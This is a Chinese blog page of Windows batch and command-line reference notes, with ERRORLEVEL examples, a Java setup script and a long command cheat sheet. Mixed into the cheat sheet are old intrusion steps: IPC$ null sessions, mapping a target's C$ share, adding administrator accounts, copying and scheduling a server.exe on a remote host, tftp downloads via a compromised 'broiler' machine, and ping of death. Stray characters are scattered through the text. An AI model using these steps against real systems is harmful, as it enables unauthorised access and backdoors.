FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"

:: 復制文件到我的文檔

XCOPY /D /E /R /Y /C "%cd%\test.txt" "%myDoc%\test\"

==========================================

實例:

3.IF-ERRORLEVEL

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗

IF ERRORLEVEL 0 ECHO 成功拷貝文件

如果文件拷貝成功,屏幕就會顯示“成功拷貝文件”辆毡,否則就會顯示“文件拷貝失敗”菜秦。

IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值舶掖,而且返回值必須依照從大到小次序順序判斷球昨。因此下面的批處理文件是錯誤的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

CHO 成功拷貝文件

IF ERRORLEVEL 1 ECHO 未找到拷貝文件

IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作

IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作

IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤

無論拷貝是否成功,后面的:

未找到拷貝文件

用戶通過ctrl-c中止拷貝操作

預置錯誤阻止文件拷貝操作

拷貝過程中寫盤錯誤

都將顯示出來眨攘。

以下就是幾個常用命令的返回值及其代表的意義:

backup

0 備份成功

1 未找到備份文件

2 文件共享沖突阻止備份完成

3 用戶用ctrl-c中止備份

4 由于致命的錯誤使備份操作中止

diskcomp

0 盤比較相同

1 盤比較不同

2 用戶通過ctrl-c中止比較操作

3 由于致命的錯誤使比較操作中止

4 預置錯誤中止比較

diskcopy

0 盤拷貝操作成功

1 非致命盤讀/寫錯

2 用戶通過ctrl-c結束拷貝操作

3 因致命的處理錯誤使盤拷貝中止

4 預置錯誤阻止拷貝操作

format

0 格式化成功

3 用戶通過ctrl-c中止格式化處理

4 因致命的處理錯誤使格式化中止

5 在提示“proceed with format(y/n)?”下用戶鍵入n結束

xcopy

0 成功拷貝文件

1 未找到拷貝文件

2 用戶通過ctrl-c中止拷貝操作

4 預置錯誤阻止文件拷貝操作

5 拷貝過程中寫盤錯誤

=============================================================

@echo off //不顯示shell的命令主慰。

Setlocal //環(huán)境改變只適用于這個文件。

%OS% //為當前的操作系統(tǒng)鲫售。

Rem //注釋一行文本共螺。

Goto 標簽 //改變執(zhí)行順序,去標簽位置.

:標簽 //定義一個標簽情竹。

Set 變量名=值 //定義變量

Not //取反

Netstat –na //顯示當前被點用的端口.

%0 %1 %2 //用于表示批處理文件的參數(shù)0為命令,共1-9個參數(shù)璃谨。

Shift //用于向前一個參數(shù),原1變0鲤妥,原2變1.每調用一次shift向前一移動一位。

Call //調用其他批處理文件或命令拱雏。

Start 命令 參數(shù) //指示出在另一個窗口中開始運行命令棉安。

=============================================================

:: 這段批處理程序可以自動設置Java環(huán)境變量

@echo off

IF EXIST %1\bin\java.exe (

rem 如輸入正確的 Java2SDK 安裝目錄,開始設置環(huán)境變量

@setx JAVA_HOME %1

@setx path %path%;%JAVA_HOME%\bin

@setx classpath %classpath%;.

@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar

@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar

@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar

@echo on

@echo Java 2 SDK 環(huán)境參數(shù)設置完畢铸抑,正常退出贡耽。

) ELSE (

IF "%1"=="" (

rem 如沒有提供安裝目錄,提示之后退出

@echo on

@echo 沒有提供 Java2SDK 的安裝目錄,不做任何設置,現(xiàn)在退出環(huán)境變量設置蒲赂。

) ELSE (

rem 如果提供非空的安裝目錄但沒有bin\java.exe阱冶,則指定的目錄為錯誤的目錄

@echo on

@echo 非法的 Java2SDK 的安裝目錄,不做任何設置,現(xiàn)在退出環(huán)境變量設置滥嘴。

)

)

dos命令參考~~~

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接

net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接

net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對方C:到本地為H:

net use h: \\ip\c$ 登陸后映射對方C:到本地為H:

net use \\ip\ipc$ /del 刪除IPC鏈接

net use h: /del 刪除映射對方到本地的為H:的映射

net user 用戶名 密碼 /add 建立用戶

net user guest /active:yes 激活guest用戶

net user 查看有哪些用戶

net user 帳戶名 查看帳戶的屬性

net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權限,注意:administrator后加s用復數(shù)

net start 查看開啟了哪些服務

net start 服務名  開啟服務木蹬;(如:net start telnet, net start schedule)

net stop 服務名 停止某服務

net time \\目標ip 查看對方時間

net time \\目標ip /set 設置本地計算機時間與“目標IP”主機的時間同步,加上參數(shù)/yes可取消確認信息

net view 查看本地局域網(wǎng)內開啟了哪些共享

net view \\ip 查看對方局域網(wǎng)內開啟了哪些共享

net config 顯示系統(tǒng)網(wǎng)絡設置

net logoff 斷開連接的共享

net pause 服務名 暫停某服務

net send ip "文本信息" 向對方發(fā)信息

net ver 局域網(wǎng)內正在使用的網(wǎng)絡連接類型和信息

net share 查看本地開啟的共享

net share ipc$ 開啟ipc$共享

net share ipc$ /del 刪除ipc$共享

net share c$ /del 刪除C:共享

net user guest 12345 用guest用戶登陸后用將密碼改為12345

net password 密碼 更改系統(tǒng)登陸密碼

netstat -a 查看開啟了哪些端口,常用netstat -an

netstat -n 查看端口的網(wǎng)絡連接情況若皱,常用netstat -an

netstat -v 查看正在進行的工作

netstat -p 協(xié)議名 例:netstat -p tcq/ip 查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況)

netstat -s 查看正在使用的所有協(xié)議使用情況

nbtstat -A ip 對方136到139其中一個端口開了的話镊叁,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數(shù)-A要大寫

tracert -參數(shù) ip(或計算機名) 跟蹤路由(數(shù)據(jù)包),參數(shù):“-w數(shù)字”用于設置超時間隔走触。

ping ip(或域名) 向對方主機發(fā)送默認大小為32字節(jié)的數(shù)據(jù)晦譬,參數(shù):“-l[空格]數(shù)據(jù)包大小”;“-n發(fā)送數(shù)據(jù)次數(shù)”互广;“-t”指一直ping敛腌。

ping -t -l 65550 ip 死亡之ping(發(fā)送大于K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數(shù)“/all”顯示全部配置信息

tlist -t 以樹行列表顯示進程(為系統(tǒng)的附加工具惫皱,默認是沒有安裝的像樊,在安裝目錄的Support/tools文件夾內)

kill -F 進程名 加-F參數(shù)后強制結束某進程(為系統(tǒng)的附加工具,默認是沒有安裝的逸吵,在安裝目錄的Support/tools文件夾內)

del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR凶硅、/AH、/AS扫皱、/AA分別表示刪除只讀足绅、隱藏、系統(tǒng)韩脑、存檔文件氢妈,/A-R、/A-H段多、/A-S首量、/A-A表示刪除除只讀、隱藏进苍、系統(tǒng)加缘、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有只讀文件觉啊,“DEL/A-S *.*”表示刪除當前目錄下除系統(tǒng)文件以外的所有文件

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件拣宏。同時使用參數(shù)/Q 可取消刪除操作時的系統(tǒng)確認就直接刪除。(二個命令作用相同)

move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動后文件名 移動文件,用參數(shù)/y將取消確認移動目錄存在相同文件的提示就直接覆蓋

fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中杠人,"> "和"> >" 是重定向命令

at id號 開啟已注冊的某個計劃任務

at /delete 停止所有計劃任務勋乾,用參數(shù)/yes則不需要確認就直接停止

at id號 /delete 停止某個已注冊的計劃任務

at 查看所有的計劃任務

at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機

finger username @host 查看最近有哪些用戶登陸

telnet ip 端口 遠和登陸服務器,默認端口為23

open ip 連接到IP(屬telnet登陸后的命令)

telnet 在本機上直接鍵入telnet 將進入本機的telnet

copy 路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2宋下,用參數(shù)/y就同時取消確認你要改寫一份現(xiàn)存目錄文件

copy c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排辑莫,參數(shù):/b指二進制文件学歧,/a指ASCLL格式文件

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數(shù)/Y將不提示覆蓋相同文件

tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸后各吨,將“IP”的server.exe下載到目標主機c:\server.exe 參數(shù):-i指以二進制模式傳送枝笨,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送

tftp -i 對方IP put c:\server.exe 登陸后绅你,上傳本地c:\server.exe至主機

ftp ip 端口 用于上傳文件至服務器或進行文件操作伺帘,默認端口為21。bin指用二進制方式傳送(可執(zhí)行文件進)忌锯;默認為ASCII格式傳送(文本文件時)

route print 顯示出IP路由伪嫁,將主要顯示網(wǎng)絡地址Network addres,子網(wǎng)掩碼Netmask偶垮,網(wǎng)關地址Gateway addres张咳,接口地址Interface

arp 查看和處理ARP緩存,ARP是名字解析的意思似舵,負責把一個IP解析成一個物理性的MAC地址脚猾。arp -a將顯示出全部信息

start 程序名或命令 /max 或/min 新開一個新窗口并最大化(最小化)運行某程序或命令

mem 查看cpu使用情況

attrib 文件名(目錄名) 查看某文件(目錄)的屬性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀砚哗,系統(tǒng)龙助,隱藏 屬性;用+則是添加為某屬性

dir 查看文件蛛芥,參數(shù):/Q顯示文件及目錄屬系統(tǒng)哪個用戶提鸟,/T:C顯示文件創(chuàng)建時間,/T:A顯示文件上次被訪問時間仅淑,/T:W上次被修改時間

date /t 称勋、 time /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當前日期和時間涯竟,而不必輸入新日期和時間

set 指定環(huán)境變量名稱=要指派給變量的字符 設置環(huán)境變量

set 顯示當前所有的環(huán)境變量

set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環(huán)境變量

pause 暫停批處理程序赡鲜,并顯示出:請按任意鍵繼續(xù)....

if 在批處理程序中執(zhí)行條件處理(更多說明見if命令及變量)

goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭庐船,例如:“:start”標簽)

call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)

for 對一組文件中的每一個文件執(zhí)行某個特定命令(更多說明見for命令及變量)

echo on或off 打開或關閉echo银酬,僅用echo不加參數(shù)則顯示當前echo設置

echo 信息 在屏幕上顯示出信息

echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中

findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello

find 文件名 查找某文件

title 標題名字 更改CMD窗口標題名字

color 顏色值 設置cmd控制臺前景和背景顏色懒熙;0=黑询刹、1=藍筒愚、2=綠猫妙、3=淺綠、4=紅冰更、5=紫裕膀、6=黃辑鲤、7=白纹因、8=灰喷屋、9=淡藍、A=淡綠瞭恰、B=淡淺綠屯曹、C=淡紅、D=淡紫惊畏、E=淡黃恶耽、F=亮白

prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為:EntSky\ )

print 文件名 打印文本文件

2ver 在DOS窗口下顯示版本信息

winver 彈出一個窗口顯示版本信息(內存大小颜启、系統(tǒng)版本偷俭、補丁版本、計算機名)

format 盤符 /FS:類型 格式化磁盤,類型:FAT缰盏、FAT32涌萤、NTFS ,例:Format D: /FS:NTFS

md 目錄名 創(chuàng)建目錄

replace 源文件 要替換文件的目錄 替換文件

ren 原文件名 新文件名 重命名文件名

tree 以樹形結構顯示出目錄,用參數(shù)-f 將列出第個文件夾中文件名稱

type 文件名 顯示文本文件的內容

more 文件名 逐屏顯示輸出文件

doskey 要鎖定的命令=字符

doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行口猜,重新調用win2k命令负溪,并創(chuàng)建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir)济炎;解鎖:doskey dir=

taskmgr 調出任務管理器

chkdsk /F D: 檢查磁盤D并顯示狀態(tài)報告川抡;加參數(shù)/f并修復磁盤上的錯誤

tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認端口23為其它任何端口

exit 退出cmd.exe程序或目前须尚,用參數(shù)/B則是退出當前批處理腳本而不是cmd.exe

path 路徑\可執(zhí)行文件的文件名 為可執(zhí)行文件設置一個路徑崖堤。

cmd 啟動一個win2K命令解釋窗口。參數(shù):/eff恨闪、/en 關閉倘感、開啟命令擴展;更我詳細說明見cmd /?

regedit /s 注冊表文件名 導入注冊表咙咽;參數(shù)/S指安靜模式導入老玛,無任何提示;

regedit /e 注冊表文件名 導出注冊表

cacls 文件名 參數(shù) 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時钧敞。參數(shù):/D 用戶名:設定拒絕某用戶訪問蜡豹;/P 用戶名:perm 替換指定用戶的訪問權限;/G 用戶名:perm 賦予指定用戶訪問權限溉苛;Perm 可以是: N 無镜廉,R 讀取, W 寫入愚战, C 更改(寫入)娇唯,F(xiàn) 完全控制齐遵;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。

cacls 文件名 查看文件的訪問用戶權限列表

REM 文本內容 在批處理文件中添加注解

netsh 查看或更改本地網(wǎng)絡配置情況

IIS服務命令:

iisreset /reboot 重啟win2k計算機(但有提示系統(tǒng)將重啟信息出現(xiàn))

iisreset /start或stop 啟動(停止)所有Internet服務

iisreset /restart 停止然后重新啟動所有Internet服務

iisreset /status 顯示所有Internet服務狀態(tài)

iisreset /enable或disable 在本地系統(tǒng)上啟用(禁用)Internet服務的重新啟動

iisreset /rebootonerror 當啟動塔插、停止或重新啟動Internet服務時梗摇,若發(fā)生錯誤將重新開機

iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務

iisreset /timeout Val在到達逾時間(秒)時想许,仍未停止Internet服務伶授,若指定/rebootonerror參數(shù),則電腦將會重新開機流纹。預設值為重新啟動20秒糜烹,停止60秒,重新開機0秒漱凝。

FTP 命令: (后面有詳細說明內容)

ftp的命令行格式為:

ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的所有響應信息疮蹦。

-d 使用調試方式。

-n 限制ftp的自動登錄,即不使用.netrc文件碉哑。

-g 取消全局文件名挚币。

help [命令] 或 /?[命令] 查看命令說明

bye 或 quit 終止主機FTP進程,并退出FTP管理方式.

pwd 列出當前遠端主機目錄

put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中

get 或 recv [遠程主機文件名] [下載到本地后的文件名] 從遠端主機中傳送至本地主機中

mget [remote-files] 從遠端主機接收一批文件至本地主機

mput local-files 將本地主機中一批文件傳送至遠端主機

dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件

ascii 設定以ASCII方式傳送文件(缺省值)

bin 或 image 設定以二進制方式傳送文件

bell 每完成一次文件傳送,報警提示

cdup 返回上一級目錄

close 中斷與遠程服務器的ftp會話(與open對應)

open host[port] 建立指定ftp服務器連接,可指定連接端口

delete 刪除遠端主機中的文件

mdelete [remote-files] 刪除一批文件

mkdir directory-name 在遠端主機中建立目錄

rename [from] [to] 改變遠端主機中的文件名

rmdir directory-name 刪除遠端主機中的目錄

status 顯示當前FTP的狀態(tài)

system 顯示遠端主機系統(tǒng)類型

user user-name [password] [account] 重新以別的用戶名登錄遠端主機

open host [port] 重新建立一個新的連接

prompt 交互提示模式

macdef 定義宏命令

lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄

chmod 改變遠端主機的文件權限

case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母

cd remote-dir 進入遠程主機目錄

cdup 進入遠程主機目錄的父目錄

! 在本地機中執(zhí)行交互shell,exit回到ftp環(huán)境,如!ls*.zip

MYSQL 命令:

mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL扣典,超級用戶root是沒有密碼的妆毕。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u與root可以不用加空格,其它也一樣)

exit 退出MYSQL

mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼

grant select on 數(shù)據(jù)庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶贮尖。(注意:和上面不同笛粘,下面的因為是MYSQL環(huán)境中的命令,所以后面都帶一個分號作為命令結束符)

show databases; 顯示數(shù)據(jù)庫列表湿硝。剛開始時才兩個數(shù)據(jù)庫:mysql和test薪前。mysql庫很重要它里面有MYSQL的系統(tǒng)信息,我們改密碼和新增用戶关斜,實際上就是用這個庫進行操作示括。

use mysql;

show tables; 顯示庫中的數(shù)據(jù)表

describe 表名; 顯示數(shù)據(jù)表的結構

create database 庫名; 建庫

use 庫名痢畜;

create table 表名 (字段設定列表)垛膝; 建表

drop database 庫名;

drop table 表名; 刪庫和刪表

delete from 表名; 將表中記錄清空

select * from 表名; 顯示表中的記錄

mysqldump --opt school>school.bbb 備份數(shù)據(jù)庫:(命令在DOS的\\mysql\\bin目錄下執(zhí)行);注釋:將數(shù)據(jù)庫school備份到school.bbb文件丁稀,school.bbb是一個文本文件吼拥,文件名任取,打開看看你會有新發(fā)現(xiàn)线衫。

win2003系統(tǒng)下新增命令(實用部份):

shutdown /參數(shù) 關閉或重啟本地或遠程主機凿可。

參數(shù)說明:/S 關閉主機,/R 重啟主機授账, /T 數(shù)字 設定延時的時間枯跑,范圍0~180秒之間惨驶, /A取消開機,/M //IP 指定的遠程主機敛助。

例:shutdown /r /t 0 立即重啟本地主機(無延時)

taskill /參數(shù) 進程名或進程的pid 終止一個或多個任務和進程敞咧。

參數(shù)說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名辜腺,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程乍恐。

tasklist 顯示當前運行在本地和遠程主機上的進程评疗、服務、服務各進程的進程標識符(PID)茵烈。

參數(shù)說明:/M 列出當前進程加載的dll文件百匆,/SVC 顯示出每個進程對應的服務,無參數(shù)時就只列出當前的進程呜投。

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末加匈,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子仑荐,更是在濱河造成了極大的恐慌雕拼,老刑警劉巖,帶你破解...
    沈念sama閱讀 210,835評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件粘招,死亡現(xiàn)場離奇詭異啥寇,居然都是意外死亡,警方通過查閱死者的電腦和手機洒扎,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,900評論 2 383
  • 文/潘曉璐 我一進店門辑甜,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人袍冷,你說我怎么就攤上這事磷醋。” “怎么了胡诗?”我有些...
    開封第一講書人閱讀 156,481評論 0 345
  • 文/不壞的土叔 我叫張陵邓线,是天一觀的道長。 經常有香客問我乃戈,道長褂痰,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,303評論 1 282
  • 正文 為了忘掉前任症虑,我火速辦了婚禮缩歪,結果婚禮上,老公的妹妹穿的比我還像新娘谍憔。我一直安慰自己匪蝙,他們只是感情好主籍,可當我...
    茶點故事閱讀 65,375評論 5 384
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著逛球,像睡著了一般千元。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上颤绕,一...
    開封第一講書人閱讀 49,729評論 1 289
  • 那天幸海,我揣著相機與錄音,去河邊找鬼奥务。 笑死物独,一個胖子當著我的面吹牛,可吹牛的內容都是我干的氯葬。 我是一名探鬼主播挡篓,決...
    沈念sama閱讀 38,877評論 3 404
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼帚称!你這毒婦竟也來了官研?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 37,633評論 0 266
  • 序言:老撾萬榮一對情侶失蹤闯睹,失蹤者是張志新(化名)和其女友劉穎戏羽,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體楼吃,經...
    沈念sama閱讀 44,088評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡蛛壳,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 36,443評論 2 326
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了所刀。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片衙荐。...
    茶點故事閱讀 38,563評論 1 339
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖浮创,靈堂內的尸體忽然破棺而出忧吟,到底是詐尸還是另有隱情,我是刑警寧澤斩披,帶...
    沈念sama閱讀 34,251評論 4 328
  • 正文 年R本政府宣布溜族,位于F島的核電站,受9級特大地震影響垦沉,放射性物質發(fā)生泄漏煌抒。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,827評論 3 312
  • 文/蒙蒙 一厕倍、第九天 我趴在偏房一處隱蔽的房頂上張望寡壮。 院中可真熱鬧,春花似錦、人聲如沸况既。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,712評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽棒仍。三九已至悲靴,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間莫其,已是汗流浹背癞尚。 一陣腳步聲響...
    開封第一講書人閱讀 31,943評論 1 264
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留乱陡,地道東北人否纬。 一個月前我還...
    沈念sama閱讀 46,240評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像蛋褥,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子睛驳,可洞房花燭夜當晚...
    茶點故事閱讀 43,435評論 2 348

推薦閱讀更多精彩內容

  • .bat腳本基本命令語法 目錄 批處理的常見命令(未列舉的命令還比較多烙心,請查閱幫助信息) 1、REM 和 :: 2...
    慶慶慶慶慶閱讀 8,062評論 1 19
  • 個人學習批處理的初衷來源于實際工作乏沸;在某個迭代版本有個BS(安卓手游模擬器)大需求淫茵,從而在測試過程中就重復涉及到...
    Luckykailiu閱讀 4,702評論 0 11
  • 批處理符號簡介 回顯屏蔽 @ 重定向1 >與>> 重定向2 < 管道符號 | 轉義符 ^ 邏輯命令符包括:&、&&...
    wyude閱讀 2,967評論 2 5
  • dos 批處理 一:windows的命令行模式(win+R)在里面寫CMD就可以進入windows的命令行模式了二...
    chenchao981閱讀 731評論 0 6
  • -手繪CP頭像 周末用了一天時間蹬跃,忍著王者榮耀與小伙伴開黑的毒癮匙瘪,堅持畫了這兩幅。第一幅狀態(tài)尚佳蝶缀,自制力尚強丹喻,畫的...
    不知二一閱讀 410評論 1 3